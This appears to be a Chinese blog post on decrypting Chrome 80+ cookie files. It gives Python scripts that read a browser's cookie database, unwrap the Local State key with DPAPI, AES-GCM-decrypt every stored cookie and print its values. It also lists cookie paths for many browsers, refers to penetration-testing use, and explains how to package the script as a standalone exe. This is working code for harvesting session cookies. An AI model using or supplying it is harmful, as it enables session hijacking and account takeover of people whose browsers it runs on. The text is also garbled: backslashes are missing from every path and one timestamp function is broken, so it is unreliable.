Chrome 80.X版本如何解密Cookies文件

import osimport sqlite3from collections import defaultdictfrom win32.win32crypt import CryptUnprotectData
#脚本使用的python3.6#pip install pywin32'''实际使用场景请自行修改Cookies/cookies.sqlite位置，下面代码均为默认安装的位置，
有些绿色版的文件夹位置以及老版本的渗透版火狐浏览器位置需要自行修改'''
#获取chrome浏览器的cookiesdef getcookiefromchrome():    cookiepath=os.environ['LOCALAPPDATA']+r"GoogleChromeUser DataDefaultCookies"    sql="select host_key,name,encrypted_value from cookies"    with sqlite3.connect(cookiepath) as conn:        cu=conn.cursor()                select_cookie = (cu.execute(sql).fetchall())        cookie_list = []        for host_key,name,encrypted_value in select_cookie:            cookie = CryptUnprotectData(encrypted_value)[1].decode()            cookies = {host_key:name+":"+cookie}            cookie_list.append(cookies)        d = defaultdict(list)        for cookie_item in cookie_list:            for key,value in cookie_item.items():                d[key].append(value.strip())        print (dict(d))
getcookiefromchrome()

IE浏览器Cookie数据位于：%APPDATA%MicrosoftWindowsCookies 目录中的xxx.txt文件 （里面可能有很多个.txt Cookie文件）如：C:Usersyren9AppDataRoamingMicrosoftWindowsCookiesWQ6YROK.txt
在IE浏览器中，IE将各个站点的Cookie分别保存为一个XXX.txt这样的纯文本文件（文件个数可能很多，但文件大小都较小）；
而Firefox和Chrome是将所有的Cookie都保存在一个文件中（文件大小较大），该文件的格式为SQLite3数据库格式的文件。

Firefox的Cookie数据位于：%APPDATA%MozillaFirefoxProfiles 目录中的xxx.default目录，名为cookies.sqlite的文件。如：C:UsersjayAppDataRoamingMozillaFirefoxProfilesji4grfex.defaultcookies.sqlite在Firefox中查看cookie, 可以选择”工具 > 选项 >” “隐私 > 显示cookie”。
Firefox的Cookie数据位于：%APPDATA%MozillaFirefoxProfiles 目录中的xxx.default目录，名为cookies.sqlite的文件。如：C:UsersjayAppDataRoamingMozillaFirefoxProfiles*.default-releasecookies.sqlite

Chrome的Cookie数据位于：%LOCALAPPDATA%GoogleChromeUser DataDefault 目录中，名为Cookies的文件。如：C:UsersjayAppDataLocalGoogleChromeUser DataDefaultCookiesC:UsersAndyAppDataLocalGoogleChromeUser DataDefaultCookies

在Linux系统上（以Ubuntu 12.04 和 RHEL6.x 为例）浏览器的CookieFirefox的Cookie路径为：$HOME/.mozilla/firefox/xxxx.default/目录下的cookie.sqlite文件。
寰宇浏览器：C:UsersAndyAppDataLocal ====   %LOCALAPPDATA%%LOCALAPPDATA%QupZillaprofilesdefaultCookies
QQ浏览器：C:UsersAndyAppDataLocalTencentQQBrowserUser DataDefaultCookies
%LOCALAPPDATA%TencentQQBrowserUser DataDefaultCookies
360安全浏览器：C:UsersAndyAppDataRoaming360se6User DataDefaultCookies
%APPDATA%360se6User DataDefaultCookies
360极速浏览器：C:UsersAndyAppDataLocal360ChromeChromeUser DataDefaultCookies
%LOCALAPPDATA%360ChromeChromeUser DataDefaultCookies
搜狗浏览器：C:UsersAndyAppDataRoamingSogouExplorerWebkitDefaultCookies
%APPDATA%SogouExplorerWebkitDefaultCookies
2345浏览器：C:UsersAndyAppDataLocal2345ExplorerUser DataDefault
%LOCALAPPDATA%2345ExplorerUser DataDefaultCookiesV3

from chrome_cookie import ChromeCookieJar
if __name__=='__main__':    jar = ChromeCookieJar()    jar.load()    for cookie in jar:        print(vars(cookie))

import osimport sys
from cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives.ciphers import (    Cipher, algorithms, modes)
NONCE_BYTE_SIZE = 12
def encrypt(cipher, plaintext, nonce):    cipher.mode = modes.GCM(nonce)    encryptor = cipher.encryptor()    ciphertext = encryptor.update(plaintext)    return (cipher, ciphertext, nonce)
def decrypt(cipher, ciphertext, nonce):    cipher.mode = modes.GCM(nonce)    decryptor = cipher.decryptor()    return decryptor.update(ciphertext)
def get_cipher(key):    cipher = Cipher(        algorithms.AES(key),        None,        backend=default_backend()    )    return cipher

import osimport sysimport sqlite3import http.cookiejar as cookiejarfrom urllib.parse import urlencodeimport json, base64import aesgcm
sql = """SELECT    host_key, name, path,encrypted_value as valueFROM    cookies"""
def dpapi_decrypt(encrypted):    import ctypes    import ctypes.wintypes
    class DATA_BLOB(ctypes.Structure):        _fields_ = [('cbData', ctypes.wintypes.DWORD),                    ('pbData', ctypes.POINTER(ctypes.c_char))]
    p = ctypes.create_string_buffer(encrypted, len(encrypted))    blobin = DATA_BLOB(ctypes.sizeof(p), p)    blobout = DATA_BLOB()    retval = ctypes.windll.crypt32.CryptUnprotectData(        ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))    if not retval:        raise ctypes.WinError()    result = ctypes.string_at(blobout.pbData, blobout.cbData)    ctypes.windll.kernel32.LocalFree(blobout.pbData)    return result

def unix_decrypt(encrypted):    if sys.platform.startswith('linux'):        password = 'peanuts'        iterations = 1    else:        raise NotImplementedError
    from Crypto.Cipher import AES    from Crypto.Protocol.KDF import PBKDF2
    salt = 'saltysalt'    iv = ' ' * 16    length = 16    key = PBKDF2(password, salt, length, iterations)    cipher = AES.new(key, AES.MODE_CBC, IV=iv)    decrypted = cipher.decrypt(encrypted[3:])    return decrypted[:-ord(decrypted[-1])]
def get_key_from_local_state():    jsn = None    with open(os.path.join(os.environ['LOCALAPPDATA'],        r"GoogleChromeUser DataLocal State"),encoding='utf-8',mode ="r") as f:        jsn = json.loads(str(f.readline()))    return jsn["os_crypt"]["encrypted_key"]
def aes_decrypt(encrypted_txt):    encoded_key = get_key_from_local_state()    encrypted_key = base64.b64decode(encoded_key.encode())    encrypted_key = encrypted_key[5:]    key = dpapi_decrypt(encrypted_key)    nonce = encrypted_txt[3:15]    cipher = aesgcm.get_cipher(key)    return aesgcm.decrypt(cipher,encrypted_txt[15:],nonce)
def chrome_decrypt(encrypted_txt):    if sys.platform == 'win32':        try:            if encrypted_txt[:4] == b'x01x00x00x00':                decrypted_txt = dpapi_decrypt(encrypted_txt)                return decrypted_txt.decode()            elif encrypted_txt[:3] == b'v10':                decrypted_txt = aes_decrypt(encrypted_txt)                return decrypted_txt[:-16].decode()        except WindowsError:            return None    else:        try:            return unix_decrypt(encrypted_txt)        except NotImplementedError:            return None

def to_epoch(chrome_ts):    if chrome_ts:        return chrome_ts - 11644473600 * 000 * 1000    else:        return None
class ChromeCookieJar(cookiejar.FileCookieJar):    def __init__(self, filename=None, delayload=False, policy=None):        if filename is None:            if sys.platform == 'win32':                filename = os.path.join(                    os.environ['USERPROFILE'],                    r'AppDataLocalGoogleChromeUser DatadefaultCookies')                '''                AppData\Local\Google\Chrome\User Data\Profile [n]\Cookies                '''            elif sys.platform.startswith('linux'):                filename = os.path.expanduser(                    '~/.config/google-chrome/Default/Cookies')                if not os.path.exists(filename):                    filename = os.path.expanduser(                        '~/.config/chromium/Default/Cookies')            if not os.path.exists(filename):                filename = None        cookiejar.FileCookieJar.__init__(self, filename, delayload, policy)
    def _really_load(self, f, filename, ignore_discard, ignore_expires):        con = sqlite3.connect(filename)        con.row_factory = sqlite3.Row        con.create_function('decrypt', 1, chrome_decrypt)        con.create_function('to_epoch', 1, to_epoch)        cur = con.cursor()        cur.execute(sql)        for row in cur:            if row['value'] is not None:                name = row['name']                value = chrome_decrypt(row['value'])                host = row['host_key']                path = row['path']                print("host:"+host + " path:" +path + " name:"+ name+" value:"+value)        cur.close()

pip install cryptography

pip install pyinstaller

[pyinstaller [主文件] -p [其他文件1] -p [其他文件2] --hidden-import [自建模块1] --hidden-import [自建模块2]

demo.exe > 1.txt